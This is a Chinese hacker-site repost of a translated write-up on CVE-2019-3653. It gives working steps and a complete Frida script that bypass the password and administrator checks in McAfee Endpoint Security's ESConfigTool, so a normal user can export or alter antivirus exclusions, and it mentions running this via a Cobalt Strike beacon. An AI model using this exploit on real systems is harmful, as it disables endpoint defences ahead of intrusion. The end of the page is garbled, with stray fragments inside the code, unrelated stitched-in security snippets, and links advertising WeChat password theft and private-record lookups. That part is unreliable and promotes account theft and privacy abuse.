新手黑客教程:怎么绕过McAfee防护机制

访客5年前黑客文章1164

在之前的浸透检验中,当我们碰到McAfee Virus Scan Enterprise(VSE)时都会会心一笑,其时只需简略查询注册表,就能知道管理员创立的扫描破例项。

但是在这次浸透检验中,情况略微有点杂乱,由于政策运用的是McAfee Endpoint Security。现在McAfee现已不再将扫描破例信息以明文存储在某个方位,我们无法轻松读取这些信息。

那么现在我们该何去何从呢?

本文介绍了我怎样运用McAfee东西来绕过McAfee Endpoint Security产品。

 

0x01 ESConfigTool

McAfee Endpoint Security产品在设备时会顺便名为“ESConfigTool”的一个程序,该程序可以用来导入导出装备文件,详细用法可参阅此处文档。

为了获取McAfee Endpoint Security的装备信息,我们需求满意如下条件:

解锁暗码 管理员权限

但是我们都没有把握这些条件。

我下载了试用版的McAfee Endpoint Security,想进一步研讨一下。

 

0x02 逆向分析

现在作业开端有点扎手,我在逆向分析方面经验不足,与毛猴子无异,只能碰碰命运。

因此,让我们可以从头开端,做一下实验。我创立了如下3个破例项目:

C:WindowsTemp *mimikatz.exe C:TotallyLegit

运用暗码 *** 来维护这些设置,暗码为starwars

现在翻开管理员命令提示符,看能否提取这些设置信息。

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:Windowssystem32>"C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformESConfigTool.exe" /export C:Export.xml /module TP /unlock starwars /plaintextCommand executed successfully. Please refer to Endpoint Security logs for detailsC:Windowssystem32>

翻开生成的XML,看是否能找到我们的破例项:

<EXCLUSION_ITEMS>    <EXCLUSION_ITEM>        <EXCLUSION_BY_NAME_OR_LOCATION>C:WindowsTemp</EXCLUSION_BY_NAME_OR_LOCATION>        <EXCLUSION_FILE_TYPE />        <EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE>        <EXCLUSION_TYPE>3</EXCLUSION_TYPE>        <EXCLUSION_EXCLUDE_SUBFOLDERS>1</EXCLUSION_EXCLUDE_SUBFOLDERS>        <EXCLUSION_ON_READ>1</EXCLUSION_ON_READ>        <EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE>        <EXCLUSION_SOURCE>0</EXCLUSION_SOURCE>    </EXCLUSION_ITEM>    <EXCLUSION_ITEM>        <EXCLUSION_BY_NAME_OR_LOCATION>***mimikatz.exe</EXCLUSION_BY_NAME_OR_LOCATION>        <EXCLUSION_FILE_TYPE />        <EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE>        <EXCLUSION_TYPE>3</EXCLUSION_TYPE>        <EXCLUSION_EXCLUDE_SUBFOLDERS>0</EXCLUSION_EXCLUDE_SUBFOLDERS>        <EXCLUSION_ON_READ>1</EXCLUSION_ON_READ>        <EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE>        <EXCLUSION_SOURCE>0</EXCLUSION_SOURCE>    </EXCLUSION_ITEM>    <EXCLUSION_ITEM>        <EXCLUSION_BY_NAME_OR_LOCATION>C:TotallyLegit</EXCLUSION_BY_NAME_OR_LOCATION>        <EXCLUSION_FILE_TYPE />        <EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE>        <EXCLUSION_TYPE>3</EXCLUSION_TYPE>        <EXCLUSION_EXCLUDE_SUBFOLDERS>1</EXCLUSION_EXCLUDE_SUBFOLDERS>        <EXCLUSION_ON_READ>1</EXCLUSION_ON_READ>        <EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE>        <EXCLUSION_SOURCE>0</EXCLUSION_SOURCE>    </EXCLUSION_ITEM></EXCLUSION_ITEMS>

十分好!但这是我们运用管理员权限、合作正确的暗码才得到的成果。我们可以attach调试器,看一下后台的作业流程。

 

0x03 自我维护

通常情况下,attach调试器是比较简略的一个进程,只需求翻开调试器、选择政策程序、再增加一些命令行参数即可。但是由于我们面对的是一款安全处理计划,因此会面对一些阻止。这儿有个比较大的问题,McAfee的组件都受该产品的“自我维护”功用的防护。假设我们检验attach调试器,就会看到“Debugging stopped”过错音讯,McAfee也会在Self Defense日志文件中记载这些操作。

12/10/2019 12:47:09   mfeesp(2204.6392) <SYSTEM> ApBl.SP.Activity: DESKTOP-DNUK2R5admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule "Core Protection - Protect McAfee processes from unauthorized access and termination", and was blocked. For information about how to respond to this event, see KB85494.12/10/2019 12:47:09   mfeesp(2204.5404) <SYSTEM> ApBl.SP.Activity: DESKTOP-DNUK2R5admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule "Core Protection - Protect McAfee processes from unauthorized access and termination", and was blocked. For information about how to respond to this event, see KB85494.

通过一些检验和过错后,我找到了可以绕过Self Defense机制的一种 *** ,也就是所谓的“Super 1337, z3r0 d4y, APT-style nation state”技术(翻译过来就是diao炸天技术)。请看如下操作:

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:Usersadmin>mkdir tempC:Usersadmin>cd tempC:temp>copy "C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformESConfigTool.exe" .        1 file(s) copied.C:temp>copy "C:Program FilesMcAfeeEndpoint SecurityEndpoint Security Platformblframework.dll" .        1 file(s) copied.C:temp>copy "C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformEpSecApiLib.dll" .        1 file(s) copied.C:temp>copy "C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformMcVariantExport.dll" .        1 file(s) copied.C:temp>copy "C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformLogLib.dll" .        1 file(s) copied.C:temp>

就这么简略?确实如此!我们甚至不需求管理员权限。任何普通用户都可以实行该操作。现在我们可以attach调试器,开端分析:

那现在该怎样持续处理呢?

 

0x04 绕过暗码查看

来看一下当运用过错暗码时会呈现哪些情况。这儿或许会呈现一些字符串,帮我们定位:

C:Windowssystem32>"C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformESConfigTool.exe" /export C:Export.xml /module TP /unlock startrek /plaintextThere were some errors while executing command. Please refer to Endpoint Security logs for detailsC:Windowssystem32>

看上去过错信息比较空泛,但McAfee的日志文件可以供给更多的信息:

10/12/2019 01:11:46.400 PM ESConfigTool(5476.8840) <admin> ESConfigTool.ESConfigTool.Error (ImportExportUtil.cpp:677): Failed to unlock client settings with user supplied password, TriggerAction failed

我们可以在调试器中搜索字符串,判别该过错的方位。

十分好,假设在此处设置断点,再次运转就可以触发断点。假设我们分析触发断点前的逻辑,可以看到政策调用了一个BLInvokeMethod函数,然后实行了某次跳转,但我们在输错暗码时并不会实行该跳转:

此刻我们需求做一些选择:

1、深入分析暗码查看函数,判别函数逻辑,然后检验破解暗码;

2、让暗码函数顺畅运转,批改函数回来值。

由于我的懒散天分,我选择第2种计划。当输入过错暗码时,暗码查看函数会在RAX寄存器中存储一个过错值:

假设供给正确的暗码,RAX寄存器的值为0

因此,假设我们供给过错的暗码,在暗码查看函数上设置断点,然后将RAX寄存器值改为0会怎样样?来试一下。

明显十分顺畅。

事实证明暗码查看逻辑只由该东西自身来担任,我们并不需求解密或许导出实践的装备。接下来让我们处理另一个问题。

 

0x05 绕过管理员查看

尽管输入过错暗码时我们能看到比较明晰的过错提示,但假设没有以管理员权限运转该东西,我们只能看到帮忙信息:

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:Usersuser>"C:Program Fileimport (sMcAfeeEndpoint SecurityEndpoint Security PlatformESConfigTool.exe" /export C:tempExport.xml /module TP /unlock starwars /plaintextDescription:      Endpoint security configuration tool for exporting and importing policy configuration. User needs administrator privileges to run this utility. Utility needs password if the client interface is password protected. File supplied for import must be an encrypted file.USAGE:      ESConfigTool.exe /export <filename> [/module <TP|FW|WC|ESP> ] [/unlock <password> ] [/plaintext ]      ESConfigTool.exe /import <filename> [/module <TP|FW||_ Potentially risky methods: TRACEWC|ESP> ] [/unlock <password> ] [/policyname <name> ]      ESConfigTool.exe /helpC:Usersuser>

日志里边也没有信息。

那么我们怎样知道管理员查看的详细机制?我们可以以普通用户权限运转调试器来分析一下,此刻发现政策会调用一个函数,在回来值上实行字符串比较操作,假设回来代码不等于0,则会调用exit

假设跟进该函数,终究可以找到一个函数:AllocateAndInitializeSid。这些进程都比较蛋疼,不值得专门花时间逆向分析。我们可以试一下偷闲的 *** ,直接批改回来值。

进一步分析,我们发现回来值查看逻辑坐落此处:

这儿我们直接把回来值设置为0

成果仍然十分顺畅!

现在我们可以在受限权限且不知道正确暗码的情况下,从McAfee Endpoint Security中导出装备信息。

 

0x06 自动化操作

现在的发展十分顺畅,但是假设每次都需求attach调试器,手动批改回来值,明显是十分苦楚的操作。走运的是,Frida可以供给援手。假设我们不熟悉Frida,主张了解一下。该东西可以帮我们做许多操作,比如hook函数、批改回来值等,我们只需求了解JavaScript就能完结 brew install hal这些使命。

但是我们怎样将Frida注入McAfee呢?十分简略,运用frida-server即可。我们可以在运转McAfee的主机上翻开该东西,然后运用Python建议衔接。

McAfee政策主机:

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:Usersadmin>cd tempC:temp>frida-server-12.7.9-windows-x86_64.exe

Python主机:

Python 3.6.7 (default, Oct 22 2018, 11:32:17) [GCC 8.2.0] on linuxType "help", "copyright", "credits" or "license" for more information.>>> import frida>>> devmgr = frida.get_device_manager()>>> devmgr.add_remote_device('192.168.31.150')Device(id="tcp@192.168.31.150", name="192.168.31.150", type='remote')>>> rdev = frida.get_device('tcp@192.168.31.150')>>> args = [...   'ESConfigTool.exe',...   '/export',...   'frida-export.xml',...   '/module',...   'ESP',...   '/unlock',...   'startrek',...   '/plaintext'... ]>>> pid = rdev.spawn(args)>>> session = rdev.attach(pid)>>> sessionSession(pid=11168)

成功衔接,且ESConfigTool.exe处于运转情况!

现在我们可以将JavaScript代码注入ESConfigTool进程中。

 

0x07 Frida脚本

这儿我就不详细介绍怎样创立该脚本,本文现已介绍了足够多的布景信息,这儿我直接给出完好脚本:

const configBase = Module.findBaseAddress('ESConfigTool.exe');//const adminCheck = configBase.add(0x5240); //32const adminCheck = configBase.add(0x5f30); //64const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod')console.log('[-] Base address is:',configBase);console.log('[-] Admin check is:',adminCheck);console.log('[-] BLInvokeMethod:',BLInvokeMethod);Interceptor.attach(adminCheck, {  onEnter: function (args) {    console.log('[+] Hooked admin check function');  },  onLeave: function (retval) {    console.log('[+] Returning true for admin check');    retval.replace(1);  }});Interceptor.attach(BLInvokeMethod, {  onEnter: function (args) {    console.log('[+] Hooked BLInvokeMethod function');  },  onLeave: function (retval) {    console.log('[+] Patching password check function');    retval.replace(0x0);  }});

脚本的逻辑与我们在调试器中手动实行的逻辑共同,会批改回来值。让我们注入脚本,调查是否能成功实行:

>>> script = """... const configBase = Module.findBaseAddress('ESConfigTool.exe');... //const adminCheck = configBase.add(0x5240); //32... const adminCheck = configBase.add(0x5f30); //64... const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod')... ... console.log('[-] Base address is:',configBase);... console.log('[-] Admin check is:',adminCheck);... console.log('[-] BLInvokeMethod:',BLInvokeMethod);... ... Interceptor.attach(adminCheck, {...   onEnter: function (args) {...     console.log('[+] Hooked admin check function');...   },...   onLeave: function (retval) {...     console.log('[+] Returning true for admin check');...     retval.replace(1);...   }... });... ... Interceptor.attach(BLInvokeMethod, {...   onEnter: function (args) {...     console.log('[+] Hooked BLInvokeMethod function');...   },...   onLeave: function (retval) {...     console.log('[+] Patching password check function');...     retval.replace(0x0);...   }... });... ... """>>&gt

◆自动发作安全的暗码

; session.create_script(script).load()[-] Base address is: 0x7ff73ed30000[-] Adm1.常规扫描全部TCP端口。in check is: 0x7ff73ed35f30[-] BLInvokeMethod: 0x7ffa4d759730>>> rdev.resume(pid)>>> [+] Hooked admin check function[+] Returning true for admin check[+] Hooked BLInvokeMethod function[+] Patching password check function>>>

事实证明十分顺畅:

尽管命令提示符中闪现的是admin用户,但我并没有答应UAC弹窗。请信任我普通用户就能完结该使命。

 

0x08 后续操作

我们终究得到了扫描破例项目信息。由于该进程通过TCP衔接完结,因此我也成功通过Cobalt Strike beacon完结该操作。

即便本文中我们只分析了怎样导出该信息,但其实我们也可以导入装备文件。这意味着我们可以增加自己的破例项,批改其他设置,甚至删去暗码等。

这儿要略微提一下/plaintext参数,这个参数有点“神经刀”。有时候能正常作业,有时候却不可。或许不同的版赋性需求运用不同的函数偏移量?我并不承认。这儿我不想进一步研讨,由于即便McAfee向我们供给了不加此参数的加密装备,我们也可以将加密装备直接载入试用版产品中。

其他,装备信息终究怎样加密?这是另一个论题。当McAfee PSIRT(Product Security Incident Response Team)批改该问题后,PoS我会供给一些信息。

 

0x09 缓解机制

McAfee PSIRT发布了一个安全布告,批改了该问题,分配的缝隙编号为CVE-2019-3653。这儿我并没有检验缝隙是否已被批改,究竟自己太懒了。

我还有另一个主意:即便官方批改了ESConfigTool中的问题,我们能否运用前期版其他东西,在新版的McAfee Endpoint Protection上持续使用?这个作业留给我们完结,我上传了一个python PoC脚本,欢迎我们检验。

本文翻译自 dmaasland.github.io, 原文链接 。如若转载请注明出处。译文声明

本文是翻译文章,文章原作者dmaasland,文章来历:dmaasland.github.io 
原文地址:https://dmaasland.github.io/posts/mcafee.html


译文仅供参阅,详细内容表达以及意义原文为准

新手黑客教程:怎么绕过McAfee防护机制

08: fffff80740dd5500 nt!KiDoubleFaultAbortShadow Stack = 0xFFFFF8074328A3E0 1, 58, 50, 42, 34, 26, 18,MD5 // Save the arguments如何绕过McAfee防护机制

新手黑客教程白帽心声:没有赏金就作为是一种鼓动吧。设备 OALabs-VM 东西1. 由于设备已被擦除,因此你需求回来并从头启用开发人员选项以及USB调试。 请保证你的PC仍能辨认你的Pixel 3手机。Imaginary C2 将照应磁盘上文件的内容

MD5 (7)查看反汇编代码,可以看到一些关于MBR Kill Setup的代码段,如下:按照github上的设备说明,设备OTXv2依托库即可。下面,来说明实验的详细实施进程。SetSPN是一个本地windows二进制文件,可用于检索用户帐户和服务之间的映射。该实用程序可以增加,删去或查看SPN注册。新手黑客教程

I: Bak *** aling classes.dex...

[1][2]黑客接单网

由此可以看出,替换时要留心两点:

x: eXecutable, 可实行#chown root:root /etc/grub.confDbgPrint(("See you Again!I'm Kr0netn"));SAS选用操作恢复技术可以将用户的操作流程自动地展现出来,可以监控用户的每一次行为,判定用户的行为是否对企业内部 *** 安全构成危害。如何绕过McAfee防护机制

新手黑客教程在Net Cease在政策机器上安置后,非处理用户想要远程调用NetSess时就会被阻遏。这种类型的 *** ,一般是通过实行 *** B会话枚举,凭仗NetSessionEnum *** 去勘探域控DC,然后再获取其他政策的信息。Edit > EOL Conversion > UNIX/OSX Format检验系统:Win7 x64途径现在安卓的adb调试协议启用了设备认证,并运用了RSA非对称加密!我来简略描叙下ADB协议的流程:

  比如,司机或许在机修工的帮忙下重新设备轿车软件补偿勒索软件感染,许多瘫痪轿车在交通繁忙的高速公路或许导致更严峻的成果。受害者或市政当局或许除了支付赎金重开通勤路途以外别无选择。其他,物流公司或许遽然发现大部分卡车车队让勒索软件害得无法运用。停工期间潜在的收入丢掉迫使公司支付赎金,而不是冒更大经济丢掉风险。START_TYPE : 2 AUTO_START企业服务器安全,讲究保证服务器的物理安全,就是不能让坏人挨近或直接接触到服务器。ATM机天然不具备这种特色,它需求面向普通人,有些甚至是露天的,所以直接搬走听起来是个很不错的主意。for ((j=0;j新手黑客教程

这是两篇标准的手动批改nfc文件仿照门禁卡的教程,各种机型截然不同,请各位朋友按照教程手动批改后,承认能手动批改后,那么把文中提到的nfc控制文件从自己手机里提取出来,然后转发给楼主,楼主就会帮你做适配。后续楼主还会开发更多有用的小功用,但是机型适配这块,楼主手里没有那么多手机,所以只需靠我们一起来给软件增加适配机型了。 承认能适配后,将机型称谓,nfc控制文件,一起转发给楼主即可,机型称谓是系统信息里闪现的称谓,比如米3叫MI3、魅族PRO5就叫PRO5,我们要注意。 米5手动仿照门禁卡教程:米3手动仿照门禁卡教程:

一般来说系统损坏的影响都是毁灭性的,企业业务间断、中心资料丢掉,除去直接的经济丢掉之外,不得不进行裁人导致员工大批赋闲,影响社会安稳。假设系统损坏发作在 *** 、基础设备以及军工等部分,如电力、通讯、军工研讨所等,那么所带来的影响就不是单纯的经济丢掉,而是挟制到国家安全。依据CERT数据库中123个损坏案例的分析,每个损坏挟制均匀构成丢掉170万美元,最多的案例构成了870万美元。我们依据现有损坏挟制分析,详细的影响可以有以下情况,如图1:  repo_upgrade: none0×03 生成与检验如何绕过McAfee防护机制

script>

Strict-Transport-Security字段包括:

可以设置需求注入的用户(如IP地址),资源(如可实行文件)等规则。
本文标题:新手黑客教程:怎么绕过McAfee防护机制

相关文章

草木灰可以当花肥吗(草木灰与复合肥能混用)

  摘要:草灰的功效真多,仅是这几类主要用途,就要许多人欲罢不能   草灰许多盆友都了解,大家对草灰最了解的危害应当便是作为化肥,实际上草灰除开能够做化肥以外也有许多很好的功效,这儿科学研究丰农就和大...

2019最新教程:怎么盗微信密码,如何盗取别人的微信号密码?

2019最新教程:怎么盗微信密码,如何盗取别人的微信号密码?【黑客徽信:】专业盗取微信密码,开房查询,通话记录查询,查询微信聊天记录,非常靠谱!大家都知道,微信用户已经突破了10亿用户大关,很多社交应...

贩毒无期徒刑最少服刑多少年(无期徒刑最少服

  在中国的刑事处分中,有刑期、有期徒刑等。有期徒刑是一种十分比较严重的酷刑,那麼有期徒刑代表什么意思,你掉以轻心吗?有期徒刑至少多少年?   法国女孩网民资询:   我想问一下有期徒刑是有期徒刑...

Linux网络黑客系统软件

Linux网络黑客系统软件

留意:全部这种专用工具全是捆缚在一起的Linux发行版,如Kali Linux或BackBox,因此大家一定会建议安裝一个适合的Linux网络黑客系统软件,使您的日常生活更轻轻松松 - 特别是在是由...

成都安德鲁森加盟要求有哪些?只要有心在就能经营

成都安德鲁森加盟要求有哪些?只要有心在就能经营

加盟要求对付很多的加盟者来说,长短常重要的,要想知道一个加盟项目适不适合本身加盟,除了要看本身喜不喜欢这个加盟品牌,同时还要看这个加盟品牌的加盟要求适不适合本身,加盟要求是加盟总部为宽大的加盟者提供的...

黑客送QQ免费,黑客能监控手机微信吗,聊天记录删了怎么恢复

1、可汗学院外国人兴办的高品质教育网站,有中文版、永久免费。 课程包括数学、科学、艺术人文、经济金融、计算机等多个范畴。 2、网易公开课网易出品的公开课渠道,供给免费的教程视频,课程来自于哈佛、牛津、...